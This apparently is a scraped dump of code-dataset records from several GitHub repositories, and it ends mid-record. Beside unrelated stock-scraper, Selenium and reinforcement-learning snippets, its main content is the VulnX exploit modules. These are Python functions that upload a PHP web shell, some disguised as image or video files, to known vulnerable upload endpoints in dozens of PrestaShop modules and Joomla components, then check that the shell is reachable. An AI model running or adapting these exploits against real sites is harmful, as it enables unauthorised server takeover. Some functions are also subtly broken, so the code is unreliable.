(num.startswith('00') or num.startswith('60')): continue # 只需要6*/0*\n record_d['num'] = num\n # 名称\n name = a.get_text().split('(')[0]\n record_d['name'] = name\n # 详情页\n detail_url = a['href']\n record_d['detail_url'] = detail_url\n\n cwzburl = detail_url\n # 发送请求\n try:\n cwzbhtml = requests.get(cwzburl, timeout=30).content\n except Exception as e:\n print('perhaps timeout:', e)\n continue\n # 创建soup对象\n cwzbsoup = BeautifulSoup(cwzbhtml, 'lxml')\n\n # 财务指标列表 [浦发银行,总市值\t净资产\t净利润\t市盈率\t市净率\t毛利率\t净利率\tROE] roe:净资产收益率\n try:\n cwzb_list = cwzbsoup.find('div', class_='cwzb').tbody.tr.get_text().split()\n except Exception as e:\n print('error:', e)\n continue\n # 去除退市股票\n if '-' not in cwzb_list:\n record_d['data'] = cwzb_list\n self.BaseData.append(record_d)\n self.write_record(json.dumps(record_d))\n count = count + 1\n print(len(self.BaseData))\n\n\ndef main():\n test = GPINFO()\n result = test.BaseData\n # [浦发银行,总市值\t净资产\t净利润\t市盈率\t市净率\t毛利率\t净利率\tROE] roe:净资产收益率]\n top_10 = heapq.nlargest(10, result, key=lambda r: float(r['data'][7].strip('%')))\n for i in top_10:\n print(i['data'])\n\n\nif __name__ == '__main__':\n main()\n", "id": "10431401", "language": "Python", "matching_score": 1.54412043094635, "max_stars_count": 0, "path": "mongodb/main.py" }, { "content": "# coding:utf-8\nfrom bson import json_util as jsonb\nimport pymongo\n\nclient = pymongo.MongoClient(\"127.0.0.1\", 27017)\ndb = client.stock\nStock = db.Stock\nresults = list(Stock.find({\"type\": \"sz\", \"code\": \"000001\"}))\nfor result in results:\n print(result)\n\n", "id": "865866", "language": "Python", "matching_score": 0.28840023279190063, "max_stars_count": 0, "path": "mongodb/test.py" } ]
1.713586
asya-petrovna
[ { "content": "import pytest\n\nfrom Chromedriver import DriverFactory\nfrom pages.home import HomeUsersPage\n\n\n@pytest.fixture\ndef driver(request):\n driver = DriverFactory().create_chrome_driver()\n request.addfinalizer(driver.quit)\n return driver\n\n\ndef test_add_new_customer(driver):\n HomeUsersPage(driver).login('<EMAIL>', '<PASSWORD>')\n\n\n", "id": "11001091", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "src/add_new_customer.py" }, { "content": "from selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass HomeUsersPage:\n def __init__(self, driver: WebDriver):\n self.driver = driver\n\n def login(self, login, password):\n self.driver.get('http://users.bugred.ru/')\n self.driver.find_elements_by_css_selector(\".newlink\")[1].click()\n WebDriverWait(self.driver, 3).until(EC.presence_of_element_located((By.CSS_SELECTOR, '.col-md-6')))\n self.driver.find_element_by_css_selector(\"input[name='login']\").clear()\n self.driver.find_element_by_css_selector(\"input[name='login']\").send_keys(login)\n self.driver.find_elements_by_css_selector(\"input[name='password']\")[0].clear()\n self.driver.find_elements_by_css_selector(\"input[name='password']\")[0].send_keys(password)\n\n\n\n\n", "id": "5523631", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "src/pages/home.py" } ]
0
khaireddines
[ { "content": "import requests\nimport re\nimport os\nSession = requests.Session()\nfrom common.colors import que,vulnexploit,que,failexploit\n\n#columnadvert\ndef columnadverts(url,headers):\n endpoint = url + \"/modules/columnadverts/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/columnadverts/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s column-advert %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s column-advert %s' %(que , failexploit)) \n\n#soopabanner\ndef soopabanners(url,headers):\n endpoint = url + \"/modules/soopabanners/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/soopabanners/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s soopa-banner %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s soopa-banner %s' %(que , failexploit)) \n\n#vtermslideshow\ndef vtslide(url,headers):\n endpoint = url + \"/modules/vtermslideshow/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/vtermslideshow/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s vterm-slideshowbar %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s vterm-slideshowbar %s' %(que , failexploit)) \n\n#simpleslideshow\ndef simpleslideshow(url,headers):\n endpoint = url + \"/modules/simpleslideshow/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/simpleslideshow/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s simple-slideshow %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s simple-slideshow %s' %(que , failexploit)) \n\n#productpageadverts\ndef productpageadverts(url,headers):\n endpoint = url + \"/modules/productpageadverts/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/productpageadverts/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s pageadvertise %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s pageadvertise %s' %(que , failexploit)) \n\n#productpageadvertsb\ndef productpageadvertsb(url,headers):\n endpoint = url + \"/modules/homepageadvertise2/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/homepageadvertise2/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s pageadvertise2 %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s pageadvertise2 %s' %(que , failexploit)) \n\n#jro_homepageadvertise\ndef jro_homepageadvertise(url,headers):\n endpoint = url + \"/modules/jro_homepageadvertise/uploadimage.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/jro_homepageadvertise/slides/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s jro_homepageadvertise %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s jro_homepageadvertise %s' %(que , failexploit)) \n\n#attributewizardpro\ndef attributewizardpro(url,headers):\n endpoint = url + \"/modules/attributewizardpro/file_upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/attributewizardpro/file_uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s attribute-wizardpro %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s attribute-wizardpro %s' %(que , failexploit)) \n\n#-------------attributewizardpro\ndef oneattributewizardpro(url,headers):\n endpoint = url + \"/modules/1attributewizardpro/file_upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/1attributewizardpro/file_uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s oneattributewizardpro %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s oneattributewizardpro %s' %(que , failexploit)) \n\n\n#attributewizardproOLD\ndef attributewizardpro_old(url,headers):\n endpoint = url + \"/modules/attributewizardpro.OLD/file_upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/attributewizardpro.OLD/file_uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s attributewizardpro_old%s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s attributewizardpro_old%s' %(que , failexploit)) \n\n#attributewizardproold\ndef attributewizardpro_x(url,headers):\n endpoint = url + \"/modules/attributewizardpro_x/file_upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/attributewizardpro_x/file_uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s attributewizardpro %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s attributewizardpro %s' %(que , failexploit)) \n\n#advancedslider\ndef advancedslider(url,headers):\n endpoint = url + \"/modules/advancedslider/ajax_advancedsliderUpload.php?action=submitUploadImage%26id_slide=php\"\n img = open('shell/VulnX.php.png', 'rb')\n name_img= os.path.basename('shell/VulnX.php.png')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/advancedslider/uploads/VulnX.php.png?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s advancedslider %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s advancedslider %s' %(que , failexploit)) \n\n\n#cartabandonmentpro\ndef cartabandonmentpro(url,headers):\n endpoint = url + \"/modules/cartabandonmentpro/upload.php\"\n img = open('shell/VulnX.php.png', 'rb')\n name_img= os.path.basename('shell/VulnX.php.png')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/cartabandonmentpro/uploads/VulnX.php.png?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s cartabandonmentpro %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s cartabandonmentpro %s' %(que , failexploit)) \n\n#cartabandonmentpro_old\ndef cartabandonmentpro_old(url,headers):\n endpoint = url + \"/modules/cartabandonmentproOld/upload.php\"\n img = open('shell/VulnX.php.png', 'rb')\n name_img= os.path.basename('shell/VulnX.php.png')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/cartabandonmentproOld/uploads/VulnX.php.png?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s cartabandonmentpro_old%s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s cartabandonmentpro_old%s' %(que , failexploit))\n\n#videostab\ndef videostab(url,headers):\n endpoint = url + \"/modules/videostab/ajax_videostab.php?action=submitUploadVideo%26id_product=upload\"\n img = open('shell/VulnX.php.mp4', 'rb')\n name_img= os.path.basename('shell/VulnX.php.mp4')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/videostab/uploads/VulnX.php.mp4?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s videostab %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s videostab %s' %(que , failexploit))\n\n#wg24themeadministration\ndef wg24themeadministration(url,headers):\n endpoint = url + \"/modules//wg24themeadministration/wg24_ajax.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}),\n 'type' : 'pattern_upload' }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/wg24themeadministration/img/upload/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s wg24themeadmin %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s wg24themeadmin %s' %(que , failexploit))\n\n#fieldvmegamenu\ndef fieldvmegamenu(url,headers):\n endpoint = url + \"/modules/fieldvmegamenu/ajax/upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/modules/fieldvmegamenu/uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s fieldvmegamenu %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s fieldvmegamenu %s' %(que , failexploit))\n\n#wdoptionpanel\ndef wdoptionpanel(url,headers):\n endpoint = url + \"/modules/wdoptionpanel/wdoptionpanel_ajax.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}),\n 'type' : 'pattern_upload' }\n upload_file = Session.post(url,files=files)\n shellup = url + \"/modules/wdoptionpanel/upload/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s wdoptionpanel %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s wdoptionpanel %s' %(que , failexploit))\n\n#pk_flexmenu\ndef pk_flexmenu(url,headers):\n endpoint = url + \"/modules/pk_flexmenu/ajax/upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/modules/pk_flexmenu/uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s pk_flexmenu %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s pk_flexmenu %s' %(que , failexploit))\n\n#pk_vertflexmenu\ndef pk_vertflexmenu(url,headers):\n endpoint = url + \"/modules/pk_vertflexmenu/ajax/upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/modules/pk_vertflexmenu/uploads/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s pk_flexmenu %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s pk_flexmenu %s' %(que , failexploit))\n\n#nvn_export_orders\ndef nvn_export_orders(url,headers):\n endpoint = url + \"/modules/nvn_export_orders/upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/modules/nvn_export_orders/nvn_extra_add.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s nvn_export_orders %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s nvn_export_orders %s' %(que , failexploit))\n\n#tdpsthemeoptionpanel\ndef tdpsthemeoptionpanel(url,headers):\n endpoint = url + \"/modules/tdpsthemeoptionpanel/tdpsthemeoptionpanelAjax.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/modules/tdpsthemeoptionpanel/upload/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s tdpsthemeoptionpanel %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s tdpsthemeoptionpanel %s' %(que , failexploit))\n\n#masseditproduct\ndef masseditproduct(url,headers):\n endpoint = url + \"/modules/lib/redactor/file_upload.php\"\n img = open('shell/VulnX.php', 'rb')\n name_img= os.path.basename('shell/VulnX.php')\n fieldname = \"image[]\"\n files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'})}\n data = { fieldname : files }\n upload_file = Session.post(url,data)\n shellup = url + \"/masseditproduct/uploads/file/VulnX.php?Vuln=X\"\n checkShell = requests.get(shellup).text\n statusCheck = re.findall(re.compile(r'Vuln X'),upload_file)\n if statusCheck:\n print(' %s masseditproduct %s %s' %(que,vulnexploit,shellup))\n else:\n print(' %s masseditproduct %s' %(que , failexploit))", "id": "1937111", "language": "Python", "matching_score": 3.2368557453155518, "max_stars_count": 4, "path": "modules/prestaExploits.py" }, { "content": "import re\nimport random\nimport datetime\nimport requests\nfrom common.uriParser import parsing_url as hostd\nnow = datetime.datetime.now()\nyear = now.strftime('%Y')\nmonth= now.strftime('%m')\n\nfrom common.colors import failexploit , vulnexploit , que , info , good\nfrom common.requestUp import sendrequest as vxpost\nfrom common.requestUp import getrequest as vxget\n\ndef joomla_comjce(url,headers,timeout):\n host = hostd(url)\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20\"\n data = {\n 'upload-dir':'./../../',\n 'upload-overwrite':0,\n 'Filedata' : [open('shell/VulnX.gif','rb')],\n 'action':'Upload',\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = url + \"/VulnX.gif\"\n res=requests.get(path_shell, headers).text\n matches = re.findall(re.compile(r'/image/gif/'),res)\n if matches:\n print (' %s Com Jce %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s Com Jce %s' %(que , failexploit))\n\ndef joomla_comedia(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=\"\n headers={\"content-type\":[\"form-data\"]}\n fieldname = 'Filedata[]'\n shell = open('shell/VulnX.txt','rb')\n data = {\n fieldname:shell,\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = endpoint+\"/images/XAttacker.txt\"\n response = vxget(path_shell,headers,timeout)\n if re.findall(r'Tig', response):\n print (' %s Com Media %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s Com Media %s' %(que , failexploit))\n\n\ndef joomla_comjdownloads(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"index.php?option=com_jdownloads&Itemid=0&view=upload\"\n headers={\"content-type\":[\"form-data\"]}\n files = open('shell/VulnX.zip','rb')\n shell = open('shell/VulnX.gif','rb')\n data = {\n 'name' : 'Tig',\n 'mail' :'<EMAIL>', \n 'filetitle' :'Tig',\n 'catlist':'1',\n 'license':'0',\n 'language':'0',\n 'system':'0',\n 'file_upload': files,\n 'pic_upload':shell,\n 'description':'<p>zot</p>',\n 'senden':'Send file',\n 'option':'com_jdownloads',\n 'view':'upload',\n 'send':'1', \n '24c22896d6fe6977b731543b3e44c22f':'1'\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = endpoint+\"/images/jdownloads/screenshots/VulnX.gif?Vuln=X\"\n response = vxget(path_shell,headers,timeout)\n if re.findall(r'Vuln X', response):\n print (' %s Com Jdownloads %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s Com Jdownloads %s' %(que , failexploit))\n\ndef joomla_comjdownloads2(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"/images/jdownloads/screenshots/VulnX.php\"\n headers={\"content-type\":[\"form-data\"]}\n files = open('shell/VulnX.zip','rb')\n shell = open('shell/VulnX.gif','rb')\n data = {\n 'name' : 'Tig',\n 'mail' :'<EMAIL>', \n 'filetitle' :'Tig',\n 'catlist':'1',\n 'license':'0',\n 'language':'0',\n 'system':'0',\n 'file_upload': files,\n 'pic_upload':shell,\n 'description':'<p>zot</p>',\n 'senden':'Send file',\n 'option':'com_jdownloads',\n 'view':'upload',\n 'send':'1', \n '24c22896d6fe6977b731543b3e44c22f':'1'\n }\n response = vxget(endpoint,headers,timeout)\n if re.findall(r'200', response):\n print (' %s Com Jdownloads2 %s %s' %(que,vulnexploit,endpoint))\n else: \n print (' %s Com Jdownloads2 %s' %(que , failexploit))\n\ndef joomla_fabrik2(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload\"\n\n headers={\"content-type\":[\"form-data\"]}\n fieldname = 'file'\n shell = open('shell/VulnX.php','rb')\n data = {\n fieldname:shell,\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = endpoint+\"/images/XAttacker.txt\"\n response = vxget(path_shell,headers,timeout)\n if re.findall(r'Vuln X', response):\n print (' %s Com Fabrik2 %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s Com Fabrik2 %s' %(que , failexploit))\n\ndef joomla_fabrik2_d(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n endpoint = url+\"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload\"\n\n headers={\"content-type\":[\"form-data\"]}\n fieldname = 'file'\n shell = open('shell/VulnX.txt','rb')\n data = {\n fieldname:shell,\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = endpoint+\"/images/XAttacker.txt\"\n response = vxget(path_shell,headers,timeout)\n if re.findall(r'Tig', response):\n print (' %s Com Fabrik2 %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s Com Fabrik2 %s' %(que , failexploit))\n\ndef joomla_foxcontact(url,headers,timeout):\n headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'\n\n# foxf = {'components/com_foxcontact/lib/file-uploader.php?cid={}&mid={}&qqfile=/../../_func.php',\n# 'index.php?option=com_foxcontact&view=loader&type=uploader&owner=component&id={}?cid={}&mid={}&qqfile=/../../_func.php',\n# 'index.php?option=com_foxcontact&amp;view=loader&amp;type=uploader&amp;owner=module&amp;id={}&cid={}&mid={}&owner=module&id={}&qqfile=/../../_func.php',\n# 'components/com_foxcontact/lib/uploader.php?cid={}&mid={}&qqfile=/../../_func.php'}\n \n \n endpoint = url+\"/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload\"\n\n headers={\"content-type\":[\"form-data\"]}\n fieldname = 'file'\n shell = open('shell/VulnX.txt','rb')\n data = {\n fieldname:shell,\n }\n content = vxpost(endpoint,data,headers,timeout)\n path_shell = endpoint+\"/images/XAttacker.txt\"\n response = vxget(path_shell,headers,timeout)\n if re.findall(r'Tig', response):\n print (' %s Fox Contact %s %s' %(que,vulnexploit,path_shell))\n else: \n print (' %s fox Contact %s' %(que , failexploit))\n", "id": "11079045", "language": "Python", "matching_score": 1.610495924949646, "max_stars_count": 4, "path": "modules/jooExploits.py" }, { "content": "import sys\nfrom common.colors import bannerblue , bannerblue2 ,W ,Y ,R,end\n\ndef banner():\n print(\"\"\"%s\n \n .:. .:, \n xM; XK. \n dx' .lO. \n do ,0. \n .c.lN' , '. .k0.:' \n xMMk;d;''cOM0kWXl,',locMMX. \n .NMK. :WMMMMMMMx dMMc \n lMMO lWMMMMMMMMMO. lMMO \n cWMxxMMMMMMMMMMMMKlWMk \n .xWMMMMMMMMMMMMMMM0,%s \n .,OMd,,,;0MMMO,. \n .l0O.%sVXVX%sOX.%sVXVX%s0MO%sVXVX%s.0Kd, \n lWMMO0%sVXVX0%sOX.%sVXVX%sl%sVXVX%s.VXNMMO \n .MMX;.N0%sVXVX0%s0X.%sVXVXVX0%s.0M:.OMMl \n .OXc ,MMO%sVXVX0%sVX%s .VXVX0%s0MMo ,0X' \n 0x. :XMMMk%sVXVX.%sXO.%sVXVX%sdMMMWo. :X' \n .d 'NMMMMMMk%sVXVX%s..%sVXVX0%s.XMMMMWl ;c \n 'NNoMMMMMMx%sVXVXVXVXVX0.%sXMMk0Mc \n .NMx OMMMMMMd%sVXVXVX%sl%sVXVX%s.NW.;MMc \n :NMMd .NMMMMMMd%sVXVX%sdMd,,,,oc ;MMWx \n .0MN, 'XMMMMMMo%sVX%soMMMMMMWl 0MW, \n .0. .xWMMMMM:lMMMMMM0, kc \n ,O. .:dOKXXXNKOxc. do \n '0c -VulnX- ,Ol \n ;. :. \n\n %s# Coded By <NAME> -%s @anouarbensaad \n %s\"\"\" \n% \n(bannerblue,bannerblue2,\nW,bannerblue2,W,bannerblue2,W,bannerblue2,\nW,bannerblue2,W,bannerblue2,W,bannerblue2,\nW,bannerblue2,W,bannerblue2, \nW,bannerblue2,W,bannerblue2,\nW,bannerblue2,W,bannerblue2,\nW,bannerblue2,W,bannerblue2,\nW,bannerblue2,\nW,bannerblue2,W,bannerblue2,\nW,bannerblue2,\nW,bannerblue2,\nW,Y,end\n))\n", "id": "11869494", "language": "Python", "matching_score": 0, "max_stars_count": 4, "path": "common/banner.py" }, { "content": "\"\"\"The vulnx Modules.\"\"\"\n", "id": "1445341", "language": "Python", "matching_score": 0, "max_stars_count": 4, "path": "modules/__init__.py" } ]
0.805248
sketchdee
[ { "content": "import re\nsource =open(r\"exresource\\.sourcetmp\",encoding='UTF-8').read()\nregexp=r\"\"\nrs=re.compile(regexp)\nresult=rs.findall(source)\nfor var in result:\n print(var)\n", "id": "840571", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "exresource/regpython/PyRegexp.py" } ]
0
Athe-kunal
[ { "content": "import os\r\nimport gym\r\nimport time\r\nimport torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nfrom typing import Tuple\r\n\r\ngym.logger.set_level(40) # Block warning\r\n\r\n\"\"\"net.py\"\"\"\r\n\r\n\r\nclass ActorPPO(nn.Module):\r\n def __init__(self, mid_dim, state_dim, action_dim):\r\n super().__init__()\r\n self.net = nn.Sequential(nn.Linear(state_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.ReLU(),\r\n nn.Linear(mid_dim, mid_dim), nn.Hardswish(),\r\n nn.Linear(mid_dim, action_dim), )\r\n\r\n # the logarithm (log) of standard deviation (std) of action, it is a trainable parameter\r\n self.a_logstd = nn.Parameter(torch.zeros((1, action_dim)) - 0.5, requires_grad=True)\r\n self.sqrt_2pi_log = np.log(np.sqrt(2 * np.pi))\r\n\r\n def forward(self, state):\r\n return self.net(state).tanh() # action.tanh()\r\n\r\n def get_action(self, state):\r\n a_avg = self.net(state)\r\n a_std = self.a_logstd.exp()\r\n\r\n noise = torch.randn_like(a_avg)\r\n action = a_avg + noise * a_std\r\n return action, noise\r\n\r\n def get_logprob_entropy(self, state, action):\r\n a_avg = self.net(state)\r\n a_std = self.a_logstd.exp()\r\n\r\n delta = ((a_avg - action) / a_std).pow(2) * 0.5\r\n logprob = -(self.a_logstd + self.sqrt_2pi_log + delta).sum(1) # new_logprob\r\n\r\n dist_entropy = (logprob.exp() * logprob).mean() # policy entropy\r\n return logprob, 